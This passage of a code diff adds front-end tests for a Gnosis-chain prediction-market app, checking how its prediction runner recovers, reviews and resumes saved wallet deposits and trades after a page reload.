}, + GATEWAY, + ); + +const selectedAt = (detail: ReturnType, value: number): SelectedEstimate[] => + detail.options.map((option) => ({ scale: option, value, marketEstimate: 200, direction: "higher" })); + +/** The target prices an estimate stands for on this session's options. */ +const targetsFor = (value: number) => { + const detail = session(); + return toPredictOptions(detail, selectedAt(detail, value)).map((option) => option.targetPriceWad); +}; + +function connect(address: Address | undefined) { + wallet.address = address; + wallet.chainId = address === undefined ? undefined : gnosis.id; +} + +function fill(values: { deposit: bigint; estimate: number }) { + form.deposit = values.deposit; + form.estimate = values.estimate; +} + +function renderRunner() { + const detail = session(); + const selected = selectedAt(detail, form.estimate); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + const onSuccess = vi.fn(); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + const view: RenderResult = render( + , + { wrapper }, + ); + return { ...view, onSuccess }; +} + +const predictButton = () => screen.getByRole("button", { name: "Predict" }); +const resumeButton = () => screen.getByRole("button", { name: /resume/i }); + +/** Lets a run that is not going to prompt finish whatever it does instead. */ +const settle = () => new Promise((resolve) => setTimeout(resolve, 50)); + +const isDeposit = (prompt: Prompt) => isAddressEqual(prompt.to, addresses.collateralToken); +const transferOf = (prompt: Prompt) => { + const args = decodeFunctionData({ abi: erc20Abi, data: prompt.data as Hex }).args as readonly [Address, bigint]; + return { to: args[0].toLowerCase(), amount: args[1] }; +}; + +/** Text on the page and values in its fields, which is everything the visitor can read. */ +function onScreen(): string { + const fields = Array.from(document.querySelectorAll("input")).map((input) => input.value); + return [document.body.textContent ?? "", ...fields].join("\n"); +} + +/** The visit before the reload: A predicts with the saved amount and estimate. */ +async function firstVisit(answers: Array<"accept" | "reject">, opts: { holdMining?: boolean } = {}) { + connect(A); + fill(SAVED); + chain.answers.push(...answers); + chain.holdMining = opts.holdMining ?? false; + const view = renderRunner(); + await waitFor(() => expect(predictButton()).toBeEnabled()); + await userEvent.click(predictButton()); + return view; +} + +/** A turns the deposit down and reloads. */ +async function leaveRejectedDeposit() { + const view = await firstVisit(["reject"]); + await waitFor(() => expect(onScreen()).toContain("You declined in your wallet.")); + view.unmount(); +} + +/** A's deposit lands, A turns the prediction down and reloads. Returns the deposit's hash. */ +async function leaveRejectedPredictionAfterDeposit() { + const view = await firstVisit(["accept", "reject"]); + await waitFor(() => expect(onScreen()).toContain("You declined in your wallet.")); + view.unmount(); + const deposit = chain.prompts.find(isDeposit)!; + expect(chain.receipts.get(deposit.hash)).toBe("success"); + return deposit.hash; +} + +/** A signs the deposit and reloads before it mines. Returns its hash. */ +async function leaveSubmittedDeposit() { + const view = await firstVisit([], { holdMining: true }); + await waitFor(() => expect(chain.prompts.some(isDeposit)).toBe(true)); + view.unmount(); + return chain.prompts.find(isDeposit)!.hash; +} + +/** Reopens the popup with the current form, and lets anything that would start on its own start. */ +async function reopen(values: { deposit: bigint; estimate: number } = CURRENT) { + connect(A); + fill(values); + const before = chain.prompts.length; + const view = renderRunner(); + await settle(); + return { ...view, before, since: () => chain.prompts.slice(before) }; +} + +/** Presses Predict if the reopened popup offers it at all. */ +async function tryPredict() { + const button = screen.queryByRole("button", { name: "Predict" }); + if (button) await userEvent.click(button).catch(() => undefined); + await settle(); +} + +async function pressResume() { + await waitFor(() => expect(resumeButton()).toBeEnabled()); + await userEvent.click(resumeButton()); +} + +beforeEach(() => { + window.localStorage.clear(); + chain.prompts.length = 0; + chain.answers.length = 0; + chain.receipts.clear(); + chain.known.clear(); + chain.waiting.length = 0; + chain.asked.length = 0; + chain.holdMining = false; + chain.deployed = true; + connect(undefined); + fill(CURRENT); +}); + +describe("reopening a saved run", () => { + /** The saved run is open for review: its own amount is on screen. */ + const reviewShown = () => waitFor(() => expect(onScreen()).toContain("7.25")); + + it("opens the review and prompts nothing after a rejected deposit", async () => { + await leaveRejectedDeposit(); + + const { since } = await reopen(); + await reviewShown(); + await settle(); + + expect(since()).toEqual([]); + }); + + it("opens the review and prompts nothing after a deposit that landed while the tab was closed", async () => { + await leaveSubmittedDeposit(); + mine(); + + const { since } = await reopen(); + await reviewShown(); + await settle(); + + expect(since()).toEqual([]); + }); + + it("opens the review and prompts nothing when the deposit still in flight mines during it", async () => { + await leaveSubmittedDeposit(); + + const { since } = await reopen(); + await reviewShown(); + mine(); + await settle(); + + expect(since()).toEqual([]); + }); +}); + +describe("the recovery screen", () => { + it("shows the saved deposit, not the amount in the form", async () => { + await leaveRejectedDeposit(); + + await reopen(); + + await waitFor(() => expect(onScreen()).toContain("7.25")); + }); + + it("shows the saved estimate, not the one in the form", async () => { + await leaveRejectedDeposit(); + + await reopen(); + + await waitFor(() => expect(onScreen()).toContain("410 $M")); + }); + + it("lists the markets as they stand, not the form's preview, whose deposit differs from the saved one", async () => { + await leaveRejectedDeposit(); + + await reopen(); + await waitFor(() => expect(onScreen()).toContain("7.25")); + await userEvent.click(within(screen.getByTestId("predict-summary")).getByRole("button")); + + const moves = within(screen.getByTestId("predict-summary")) + .getAllByTestId("market-move") + .map((move) => move.textContent); + expect(moves.length).toBeGreaterThan(0); + for (const move of moves) expect(move).toMatch(/^(Now |No preview)/); + }); + + it("shows the saved deposit and estimate after a submitted transaction", async () => { + await leaveSubmittedDeposit(); + mine(); + + await reopen(); + + await waitFor(() => { + expect(onScreen()).toContain("7.25"); + expect(onScreen()).toContain("410 $M"); + }); + }); +}); + +describe("a form that differs from the saved run", () => { + it("does not sign the saved deposit when Predict is pressed with another amount", async () => { + await leaveRejectedDeposit(); + + const { since } = await reopen({ deposit: CURRENT.deposit, estimate: SAVED.estimate }); + await tryPredict(); + + expect(since()).toEqual([]); + }); + + it("does not sign the saved deposit when Predict is pressed with another estimate", async () => { + await leaveRejectedDeposit(); + + const { since } = await reopen({ deposit: SAVED.deposit, estimate: CURRENT.estimate }); + await tryPredict(); + + expect(since()).toEqual([]); + }); + + it("does not sign the saved prediction when Predict is pressed after a landed deposit", async () => { + await leaveRejectedPredictionAfterDeposit(); + + const { since } = await reopen(); + await tryPredict(); + + expect(since()).toEqual([]); + }); +}); + +describe("resuming", () => { + it("signs the saved deposit into A's trade wallet only once Resume is pressed", async () => { + await leaveRejectedDeposit(); + const { since } = await reopen(); + expect(since()).toEqual([]); + + await pressResume(); + + await waitFor(() => expect(since().length).toBeGreaterThan(0)); + const first = since()[0]!; + expect(isDeposit(first)).toBe(true); + expect(transferOf(first)).toEqual({ to: A_EXECUTOR, amount: SAVED.deposit }); + expect( + since() + .filter(isDeposit) + .map((prompt) => transferOf(prompt).amount), + ).not.toContain(CURRENT.deposit); + }); + + it("trades the saved estimates, not the form's", async () => { + await leaveRejectedDeposit(); + const { onSuccess } = await reopen(); + chain.asked.length = 0; + + await pressResume(); + + await waitFor(() => expect(onSuccess).toHaveBeenCalledTimes(1)); + expect(chain.asked.length).toBeGreaterThan(0); + for (const targets of chain.asked) expect(targets).toEqual(targetsFor(SAVED.estimate)); + // what the stored run placed, not the form's amount + expect(onSuccess.mock.calls[0]?.[1]).toMatchObject({ estimates: 1, amount: SAVED.deposit }); + }); + + it("still waits for Resume after a deposit in flight mines during the review", async () => { + const hash = await leaveSubmittedDeposit(); + + const { since, onSuccess } = await reopen(); + mine(); + await settle(); + expect(chain.receipts.get(hash)).toBe("success"); + expect(since()).toEqual([]); + + await pressResume(); + + await waitFor(() => expect(onSuccess).toHaveBeenCalledTimes(1)); + expect(since().filter(isDeposit)).toEqual([]); + }); +}); + +describe("completed transactions", () => { + it("keeps a deposit that landed before the rejection, and does not sign it again on Resume", async () => { + await leaveRejectedPredictionAfterDeposit(); + const { since, onSuccess } = await reopen(); + + await pressResume(); + + await waitFor(() => expect(onSuccess).toHaveBeenCalledTimes(1)); + expect(since().length).toBeGreaterThan(0); + expect(since().filter(isDeposit)).toEqual([]); + }); + + it("keeps a deposit that landed while the tab was closed, and does not sign it again on Resume", async () => { + await leaveSubmittedDeposit(); + mine(); + const { since, onSuccess } = await reopen(); + + await pressResume(); + + await waitFor(() => expect(onSuccess).toHaveBeenCalledTimes(1)); + expect(since().length).toBeGreaterThan(0); + expect(since().filter(isDeposit)).toEqual([]); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.test.tsx new file mode 100644 index 00000000..f2862d0b --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.test.tsx @@ -0,0 +1,814 @@ +import type { ComponentProps, ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { fireEvent, render, screen } from "@testing-library/react"; +import type { Address } from "viem"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { useAccount } from "wagmi"; + +import type { PredictDialog } from "@/features/predict/components/PredictDialog"; +import { snapshot } from "@/features/predict/flow/__tests__/support/fakes"; +import { usePredictRun, type PredictRunInput } from "@/features/predict/hooks/usePredictRun"; +import type { PredictDriver, PredictProgress, PredictStage } from "@/features/predict/run/types"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import type { PayToken, SelectedEstimate } from "@/features/predict/types"; +import { creditLines, creditsOffer } from "@/features/predict/utils/credits"; +import { planFunding } from "@/features/predict/utils/funding"; +import { sessionChartKey } from "@/features/sessions/api/getSessionChart"; +import { sessionStatsKey } from "@/features/sessions/api/getSessionStats"; +import type { SessionDetail, SessionStatus } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail, type SessionDetailRow } from "@/features/sessions/utils/toSessionDetail"; +import { executorKey } from "@/features/trade-executor/api/getExecutor"; +import { fundsKeyPrefix } from "@/features/trade-executor/api/getFunds"; + +import { fetchGraphql } from "@/lib/graphql/batcher"; +import { TradeWalletMismatchError } from "@/lib/trade-executor/executor"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictRunner } from "../PredictRunner"; +import { usePredictFunding } from "../usePredictFunding"; + +const OWNER = "0x9999999999999999999999999999999999999999" as Address; +const EXECUTOR = "0x8888888888888888888888888888888888888888" as Address; + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +/* The factory cannot reference imports, so GATEWAY's value is restated. */ +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://cdn.example.link/ipfs" })); + +/* The balance and executor reads would build an RPC client from env this suite does not supply. */ +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); + +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: vi.fn(), +})); + +// The test chain has no Seer router; the runner needs one to be ready at all. +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: () => "0x7777777777777777777777777777777777777777", + tradeExecutorFactoryAddress: () => "0x6666666666666666666666666666666666666666", +})); + +vi.mock("@/features/predict/hooks/usePredictRun", () => ({ usePredictRun: vi.fn() })); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => executorRead, +})); + +vi.mock("../usePredictFunding", () => ({ usePredictFunding: vi.fn() })); + +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => false })); +// the credits swap is quoted on a chain with a credits route, which this one lacks +vi.mock("../useCreditsSwapPreview", () => ({ useCreditsSwapPreview: () => ({ failed: false }) })); + +type DialogProps = ComponentProps; + +// The dialog is the runner's whole output; this stand-in exposes the props it was bound to. +vi.mock("@/features/predict/components/PredictDialog", () => ({ + PredictDialog: (props: DialogProps) => ( +
    +

    {props.notice ?? ""}

    +

    {String(props.isRunning)}

    +

    {String(props.canRetry)}

    +

    {props.steps.rows.find((row) => row.key === "funds")?.subtitle}

    +

    {props.recovered?.deposited?.toString() ?? "none"}

    +

    {props.token.symbol}

    +

    {props.selected.length}

    + +

    {props.amount?.toString()}

    + + + + +

    {props.credits ? String(props.credits.isUsing) : "absent"}

    + + +
    + ), +})); + +const accountMock = vi.mocked(useAccount); +const runMock = vi.mocked(usePredictRun); +const fundingMock = vi.mocked(usePredictFunding); + +/** The token the balances would default to when the visitor has not picked one. */ +let heldMore: PayToken | undefined; +let nativeAvailable: bigint | undefined; + +const progressAt = (stage: PredictStage, retryable = false, steps: PredictProgress["steps"] = []): PredictProgress => ({ + stage, + steps, + leftOut: [], + batchesDone: 0, + batches: 0, + ...(stage === "halted" ? { failure: { reason: retryable ? "rpc" : "reverted", retryable } } : {}), +}); + +const driver = { + start: vi.fn(), + recover: vi.fn(), + resume: vi.fn(), + confirm: vi.fn(), + retry: vi.fn(), + discard: vi.fn(), + reset: vi.fn(), + dispose: vi.fn(), + subscribe: vi.fn(() => () => {}), + getProgress: vi.fn(() => progressAt("idle")), +} satisfies PredictDriver; + +let executorRead: { data?: { predicted: Address; deployed: boolean }; error?: Error } = {}; +let progress: PredictProgress | null = null; +let lastInput: PredictRunInput | null = null; + +const session = (overrides: Partial = {}): SessionDetail => + toSessionDetail({ ...sessionDetailColumns, ...overrides, children: [sessionChildRow()] }, GATEWAY); + +const selectedOn = (detail: SessionDetail, value: number): SelectedEstimate[] => [ + { scale: detail.options[0]!, value, marketEstimate: 250, direction: "higher" }, +]; + +function mount(detail: SessionDetail = session(), status: SessionStatus = "trading") { + const queryClient = new QueryClient(); + const invalidate = vi.spyOn(queryClient, "invalidateQueries"); + const onClose = vi.fn(); + const onSuccess = vi.fn(); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + const ui = (at: SessionStatus = status) => ( + + ); + const view = render(ui(), { wrapper }); + const invalidatedKeys = () => invalidate.mock.calls.map(([filters]) => filters?.queryKey); + return { + ...view, + rerenderAt: (at?: SessionStatus) => view.rerender(ui(at)), + invalidatedKeys, + onClose, + onSuccess, + queryClient, + }; +} + +// The runner reads only the address and chain off the account. +const account = (address: Address | undefined, chainId: number | undefined) => + accountMock.mockReturnValue({ address, chainId } as ReturnType); +const connected = (chainId: number = DEFAULT_CHAIN_ID) => account(OWNER, chainId); + +beforeEach(() => { + vi.clearAllMocks(); + executorRead = { data: { predicted: EXECUTOR, deployed: true } }; + progress = null; + lastInput = null; + connected(); + heldMore = undefined; + nativeAvailable = undefined; + fundingMock.mockImplementation(({ token }) => ({ + funding: null, + credits: { state: "none" }, + token: token ?? heldMore, + available: (choice) => (choice === "native" ? nativeAvailable : undefined), + canPayNative: true, + })); + runMock.mockImplementation((input) => { + if (input) lastInput = input; + return { driver, progress }; + }); +}); + +describe("PredictRunner, what the visitor is told", () => { + it("asks for a wallet when none is connected", () => { + account(undefined, undefined); + mount(); + + expect(screen.getByTestId("notice")).toHaveTextContent("Connect a wallet to predict."); + }); + + it("asks for Gnosis when the wallet is on another chain", () => { + connected(DEFAULT_CHAIN_ID + 1); + mount(); + + expect(screen.getByTestId("notice")).toHaveTextContent("Switch to Gnosis to predict."); + }); + + it("says the session cannot be traded when its collateral did not read", () => { + mount(session({ collateralToken: null })); + + expect(screen.getByTestId("notice")).toHaveTextContent("This session cannot be traded yet."); + }); + + it("says the network named another trade wallet when its answer is not the one derived for the wallet", () => { + executorRead = { error: new TradeWalletMismatchError() }; + mount(); + + expect(screen.getByTestId("notice")).toHaveTextContent( + "Your network named a different trade wallet. Switch to another RPC and try again.", + ); + }); + + it("says nothing when the prediction can be made", () => { + mount(); + + expect(screen.getByTestId("notice")).toBeEmptyDOMElement(); + }); + + const withCredits = (spendsAnyway = false) => { + const held = { wallet: 5n * 10n ** 18n, tradeWallet: 0n, manager: 1000n * 10n ** 18n }; + fundingMock.mockImplementation(({ amount, useCredits }) => ({ + funding: planFunding({ + amount, + ownWallet: 20n * 10n ** 18n, + tradeWallet: 0n, + credits: useCredits || spendsAnyway ? creditLines(held, creditsOffer(held)) : [], + }), + credits: creditsOffer(held), + token: "collateral", + available: () => undefined, + canPayNative: false, + })); + }; + + it("ticks the credits line by default and lets a prediction spend them, ticked or not", () => { + withCredits(); + mount(); + fireEvent.click(screen.getByText("pay ten")); + + expect(screen.getByTestId("credits")).toHaveTextContent("true"); + expect(screen.getByTestId("notice")).toBeEmptyDOMElement(); + + fireEvent.click(screen.getByText("untick credits")); + + expect(screen.getByTestId("credits")).toHaveTextContent("false"); + expect(screen.getByTestId("notice")).toBeEmptyDOMElement(); + }); + + it("plans the funding with the credits while the line is ticked, and without once it is not", () => { + withCredits(); + mount(); + fireEvent.click(screen.getByText("pay ten")); + + expect(fundingMock).toHaveBeenLastCalledWith(expect.objectContaining({ useCredits: true })); + fireEvent.click(screen.getByText("untick credits")); + expect(fundingMock).toHaveBeenLastCalledWith(expect.objectContaining({ useCredits: false })); + }); + + it("shows no credits line where the visitor holds none", () => { + mount(); + + expect(screen.getByTestId("credits")).toHaveTextContent("absent"); + }); + + it("drops the notice while a run is going", () => { + connected(DEFAULT_CHAIN_ID + 1); + progress = progressAt("signing"); + mount(); + + expect(screen.getByTestId("running")).toHaveTextContent("true"); + expect(screen.getByTestId("notice")).toBeEmptyDOMElement(); + }); +}); + +describe("PredictRunner, what it hands the run", () => { + it("builds the run for the connected owner, the session and its executor", () => { + const detail = session(); + mount(detail); + + expect(lastInput).toMatchObject({ + sessionId: detail.id, + parentMarket: detail.parentMarket, + collateral: addresses.collateralToken, + owner: OWNER, + executor: EXECUTOR, + }); + }); + + it("turns the selected estimate into the option the run trades", () => { + mount(); + + expect(lastInput?.options()).toEqual([ + { + childMarket: addresses.childMarkets[0], + underlying: addresses.underlyingToken, + upToken: addresses.upToken, + downToken: addresses.downToken, + invalidToken: addresses.childInvalidToken, + targetPriceWad: 624n * 10n ** 15n, + }, + ]); + }); +}); + +describe("PredictRunner, refreshing what a run changed", () => { + it("refreshes the balances, the trade wallet and the chart once a run completes", () => { + const view = mount(); + lastInput?.onComplete?.(); + progress = progressAt("complete"); + view.rerenderAt(); + + const keys = view.invalidatedKeys(); + expect(keys).toContainEqual([...fundsKeyPrefix]); + expect(keys).toContainEqual([...executorKey(OWNER)]); + expect(keys).toContainEqual([...sessionChartKey(session().id)]); + }); + + it("refreshes the balances and the trade wallet when a run stops partway", () => { + progress = progressAt("halted"); + const view = mount(); + + const keys = view.invalidatedKeys(); + expect(keys).toContainEqual([...fundsKeyPrefix]); + expect(keys).toContainEqual([...executorKey(OWNER)]); + }); + + it("refreshes nothing before a run has done anything", () => { + const view = mount(); + + expect(view.invalidatedKeys()).toEqual([]); + }); +}); + +describe("PredictRunner, refreshing the chart, estimates, Traders and Volume after a prediction", () => { + const POOL = addresses.childMarkets[0]!.toLowerCase(); + const TRADER = "0x5555555555555555555555555555555555555555"; + + // An indexer that serves the pre-trade state for its first reads, then the trade. + function indexerLagging(staleReads: number) { + let reads = 0; + vi.mocked(fetchGraphql).mockImplementation(async () => { + const traded = reads++ >= staleReads; + const swaps = traded ? [{ underlyingPerOutcomeAfter: "624000000000000000", timestamp: "1700000100" }] : []; + return { + Prediction: traded ? [{ executor_id: TRADER }] : [], + Pool: [ + { + id: POOL, + childMarket_id: POOL, + underlyingPerOutcome: traded ? "624000000000000000" : "500000000000000000", + updatedAt: traded ? "1700000100" : "1700000000", + volumeUnderlying: traded ? "1000000000000000000" : "0", + swaps, + }, + ], + }; + }); + } + + // Seeds the page's cached chart and stats so the test can read whether each was marked stale. + // No observer holds them here, so they are kept from garbage collection across the fake ten minutes. + function seedPageQueries(queryClient: QueryClient, sessionId: string) { + queryClient.setQueryDefaults(sessionChartKey(sessionId), { gcTime: Infinity }); + queryClient.setQueryDefaults(sessionStatsKey(sessionId), { gcTime: Infinity }); + queryClient.setQueryData(sessionChartKey(sessionId), []); + queryClient.setQueryData(sessionStatsKey(sessionId), { traders: 0, volumeUnderlying: 0n }); + } + + const isInvalidated = (queryClient: QueryClient, key: readonly unknown[]) => + queryClient.getQueryState(key)?.isInvalidated ?? false; + + // Ten minutes of timers, stepped so promises between them resolve. + async function letRefreshRun() { + for (let i = 0; i < 120; i++) await vi.advanceTimersByTimeAsync(5_000); + } + + beforeEach(() => { + vi.useFakeTimers(); + indexerLagging(2); + }); + + afterEach(() => { + vi.useRealTimers(); + }); + + it("marks both the session chart and the session stats stale once a run completes", async () => { + const detail = session(); + const view = mount(detail); + seedPageQueries(view.queryClient, detail.id); + + lastInput?.onComplete?.(); + progress = progressAt("complete"); + view.rerenderAt(); + await letRefreshRun(); + + expect({ + chart: isInvalidated(view.queryClient, sessionChartKey(detail.id)), + stats: isInvalidated(view.queryClient, sessionStatsKey(detail.id)), + }).toEqual({ chart: true, stats: true }); + }); + + it("refreshes Traders and Volume once a run completes", async () => { + const detail = session(); + const view = mount(detail); + seedPageQueries(view.queryClient, detail.id); + + lastInput?.onComplete?.(); + progress = progressAt("complete"); + view.rerenderAt(); + await letRefreshRun(); + + expect(view.invalidatedKeys()).toContainEqual([...sessionStatsKey(detail.id)]); + }); + + it("still refreshes the chart and the stats after the popup closes on success", async () => { + const detail = session(); + const view = mount(detail); + seedPageQueries(view.queryClient, detail.id); + + lastInput?.onComplete?.(); + progress = progressAt("complete"); + view.rerenderAt(); + view.unmount(); + await letRefreshRun(); + + expect({ + chart: isInvalidated(view.queryClient, sessionChartKey(detail.id)), + stats: isInvalidated(view.queryClient, sessionStatsKey(detail.id)), + }).toEqual({ chart: true, stats: true }); + }); +}); + +describe("PredictRunner, the dialog's controls", () => { + it("hands off to the success dialog once the run completes", () => { + progress = progressAt("complete"); + const view = mount(); + + expect(view.onSuccess).toHaveBeenCalledTimes(1); + expect(driver.reset).toHaveBeenCalled(); + expect(driver.reset.mock.invocationCallOrder[0]).toBeLessThan(view.onSuccess.mock.invocationCallOrder[0]!); + }); + + it("hands the success dialog what it placed, less what the run left out", () => { + const detail = session(); + progress = { ...progressAt("complete"), leftOut: [detail.options[0]!.market] }; + const view = mount(detail); + + expect(view.onSuccess).toHaveBeenCalledWith([detail.options[0]!.market], { + estimates: 0, + amount: undefined, + symbol: detail.collateralSymbol ?? "sDAI", + decimals: detail.collateralDecimals ?? 18, + steps: [], + wallet: EXECUTOR, + }); + }); + + it("hands the success dialog the amount typed and the token paid in", () => { + const view = mount(); + fireEvent.click(screen.getByText("pay ten")); + fireEvent.click(screen.getByText("pay in xDAI")); + + progress = progressAt("complete"); + view.rerenderAt(); + + expect(view.onSuccess).toHaveBeenCalledWith([], { + estimates: 1, + amount: 10n * 10n ** 18n, + symbol: "xDAI", + decimals: 18, + steps: [], + wallet: EXECUTOR, + }); + }); + + it("does not count an estimate whose option has no tokens to trade as placed", () => { + const detail = toSessionDetail({ ...sessionDetailColumns, children: [sessionChildRow({ upToken: "" })] }, GATEWAY); + progress = progressAt("complete"); + const view = mount(detail); + + expect(view.onSuccess).toHaveBeenCalledWith([], expect.objectContaining({ estimates: 0 })); + }); + + it("hands the success dialog a recovered run's own options and collateral, less what it left out", () => { + const detail = session(); + const recovered = snapshot({ deposit: 3n * 10n ** 18n, collateralIn: 5n * 10n ** 18n }); + const left = recovered.options[0]!.childMarket; + progress = { ...progressAt("complete"), recovered, leftOut: [left] }; + const view = mount(detail); + + expect(view.onSuccess).toHaveBeenCalledWith([left], { + estimates: recovered.options.length - 1, + amount: 5n * 10n ** 18n, + symbol: detail.collateralSymbol ?? "sDAI", + decimals: detail.collateralDecimals ?? 18, + steps: [], + funds: { toAdd: 3n * 10n ** 18n, symbol: detail.collateralSymbol ?? "sDAI", decimals: 18 }, + wallet: EXECUTOR, + }); + }); + + it("hands a completed recovered run to the success dialog once, however often the runner draws before the reset lands", () => { + progress = { ...progressAt("complete"), recovered: snapshot({ deposit: 3n * 10n ** 18n }) }; + const view = mount(); + view.rerenderAt(); + view.rerenderAt(); + + expect(view.onSuccess).toHaveBeenCalledTimes(1); + }); + + it("hands the success dialog each settled step with the hash it confirmed under", () => { + const hash = (n: number) => `0x${n.toString(16).padStart(64, "0")}` as const; + progress = progressAt("complete", false, [ + { id: "create-wallet", label: "Set up your trade wallet", state: "success" }, + { id: "deposit", label: "Add money to your trade wallet", state: "success", hash: hash(1) }, + { id: "predict-1", label: "Making your prediction", state: "success", hash: hash(2) }, + ]); + const view = mount(); + + expect(view.onSuccess.mock.calls[0]?.[1].steps).toEqual([ + { id: "create-wallet" }, + { id: "deposit", hash: hash(1) }, + { id: "predict-1", hash: hash(2) }, + ]); + }); + + it("hands the success dialog what the funds step added as frozen at the press, not the balance since", () => { + const held = { wallet: 5n * 10n ** 18n, tradeWallet: 0n, manager: 1000n * 10n ** 18n }; + fundingMock.mockImplementation(({ amount, useCredits }) => ({ + funding: planFunding({ + amount, + ownWallet: 20n * 10n ** 18n, + tradeWallet: 0n, + credits: useCredits ? creditLines(held, creditsOffer(held)) : [], + }), + credits: creditsOffer(held), + token: "collateral", + available: () => undefined, + canPayNative: false, + })); + const detail = session(); + const view = mount(detail); + fireEvent.click(screen.getByText("pay ten")); + fireEvent.click(screen.getByText("predict")); + // the balances refresh once the run has spent them + fundingMock.mockImplementation(() => ({ + funding: null, + credits: { state: "none" }, + token: "collateral", + available: () => undefined, + canPayNative: false, + })); + + progress = progressAt("complete"); + view.rerenderAt(); + + expect(view.onSuccess.mock.calls[0]?.[1].funds).toEqual({ + toAdd: 5n * 10n ** 18n, + symbol: detail.collateralSymbol ?? "sDAI", + decimals: 18, + credits: 5n * 10n ** 18n, + }); + }); + + it("hands the success dialog a recovered run's xDAI deposit and the credits it moved", () => { + const recovered = snapshot({ + deposit: 4n * 10n ** 18n, + depositNative: true, + collateralIn: 6n * 10n ** 18n, + creditsFromEoa: 2n * 10n ** 18n, + }); + progress = { ...progressAt("complete"), recovered }; + const view = mount(); + + expect(view.onSuccess.mock.calls[0]?.[1].funds).toEqual({ + toAdd: 4n * 10n ** 18n, + symbol: "xDAI", + decimals: 18, + credits: 2n * 10n ** 18n, + }); + }); + + it("starts a run when predict is pressed", () => { + mount(); + fireEvent.click(screen.getByText("predict")); + + expect(driver.start).toHaveBeenCalledTimes(1); + expect(driver.retry).not.toHaveBeenCalled(); + }); + + it("picks a retryable stopped run back up once it has moved money, with the form locked", () => { + progress = { ...progressAt("halted", true), moneyMoved: true }; + mount(); + expect(screen.getByTestId("can-retry")).toHaveTextContent("true"); + fireEvent.click(screen.getByText("predict")); + + expect(driver.retry).toHaveBeenCalledTimes(1); + expect(driver.start).not.toHaveBeenCalled(); + }); + + it("locks the form to a run whose transaction may still mine, and checks it rather than starting over", () => { + progress = { ...progressAt("halted", true), pendingHash: `0x${"ab".repeat(32)}` }; + mount(); + expect(screen.getByTestId("can-retry")).toHaveTextContent("true"); + fireEvent.click(screen.getByText("predict")); + + expect(driver.retry).toHaveBeenCalledTimes(1); + expect(driver.start).not.toHaveBeenCalled(); + }); + + it("shows the amount now typed, not the one pressed, once a run stops before money moved", () => { + fundingMock.mockImplementation(({ amount }) => ({ + funding: planFunding({ amount, ownWallet: 100n * 10n ** 18n, tradeWallet: 0n }), + credits: { state: "none" }, + token: "collateral", + available: () => undefined, + canPayNative: false, + })); + const view = mount(); + fireEvent.click(screen.getByText("pay ten")); + fireEvent.click(screen.getByText("predict")); + progress = progressAt("halted", true); + view.rerenderAt(); + expect(screen.getByTestId("funds")).toHaveTextContent(/^10 sDAI$/); + + fundingMock.mockImplementation(() => ({ + funding: planFunding({ amount: 4n * 10n ** 18n, ownWallet: 100n * 10n ** 18n, tradeWallet: 0n }), + credits: { state: "none" }, + token: "collateral", + available: () => undefined, + canPayNative: false, + })); + view.rerenderAt(); + + expect(screen.getByTestId("funds")).toHaveTextContent(/^4 sDAI$/); + }); + + it("starts over from the form when a retryable run stopped before anything reached the chain", () => { + progress = progressAt("halted", true, [ + { id: "create-wallet", label: "Create", state: "success" }, + { id: "deposit", label: "Deposit", state: "error" }, + ]); + mount(); + expect(screen.getByTestId("can-retry")).toHaveTextContent("false"); + fireEvent.click(screen.getByText("predict")); + + expect(driver.retry).not.toHaveBeenCalled(); + expect(driver.reset).toHaveBeenCalled(); + expect(driver.start).toHaveBeenCalledTimes(1); + }); + + it("starts over from a stopped run that cannot be retried", () => { + progress = progressAt("halted", false); + mount(); + fireEvent.click(screen.getByText("predict")); + + expect(driver.reset).toHaveBeenCalled(); + expect(driver.start).toHaveBeenCalledTimes(1); + }); + + it("clears a stopped run when closed", () => { + progress = progressAt("halted"); + const view = mount(); + fireEvent.click(screen.getByText("close")); + + expect(driver.reset).toHaveBeenCalled(); + expect(view.onClose).toHaveBeenCalledTimes(1); + }); + + it("asks the run for a stored prediction as the popup opens", () => { + mount(); + + expect(driver.recover).toHaveBeenCalledTimes(1); + expect(driver.start).not.toHaveBeenCalled(); + }); + + it("shows the stored run's deposit in the steps, not the form's", () => { + progress = { ...progressAt("review"), recovered: { ...snapshot(), deposit: 7_250_000_000_000_000_000n } }; + mount(); + + expect(screen.getByTestId("funds")).toHaveTextContent(/^7\.25 /); + }); + + it("hands the popup the sDAI a stored xDAI deposit becomes, less the trade wallet's share, and none for sDAI", () => { + const run = { collateralIn: 9n * 10n ** 18n, collateralBefore: 6n * 10n ** 18n, deposit: 4n * 10n ** 18n }; + progress = { ...progressAt("review"), recovered: snapshot({ ...run, depositNative: true }) }; + const { unmount } = mount(); + expect(screen.getByTestId("recovered-deposited")).toHaveTextContent(String(3n * 10n ** 18n)); + unmount(); + + progress = { ...progressAt("review"), recovered: snapshot({ ...run, depositNative: false }) }; + mount(); + expect(screen.getByTestId("recovered-deposited")).toHaveTextContent("none"); + }); + + it("resumes a stored run under review instead of starting one from the form", () => { + progress = { ...progressAt("review"), recovered: { ...snapshot(), deposit: 7n } }; + mount(); + fireEvent.click(screen.getByText("predict")); + + expect(driver.resume).toHaveBeenCalledTimes(1); + expect(driver.start).not.toHaveBeenCalled(); + 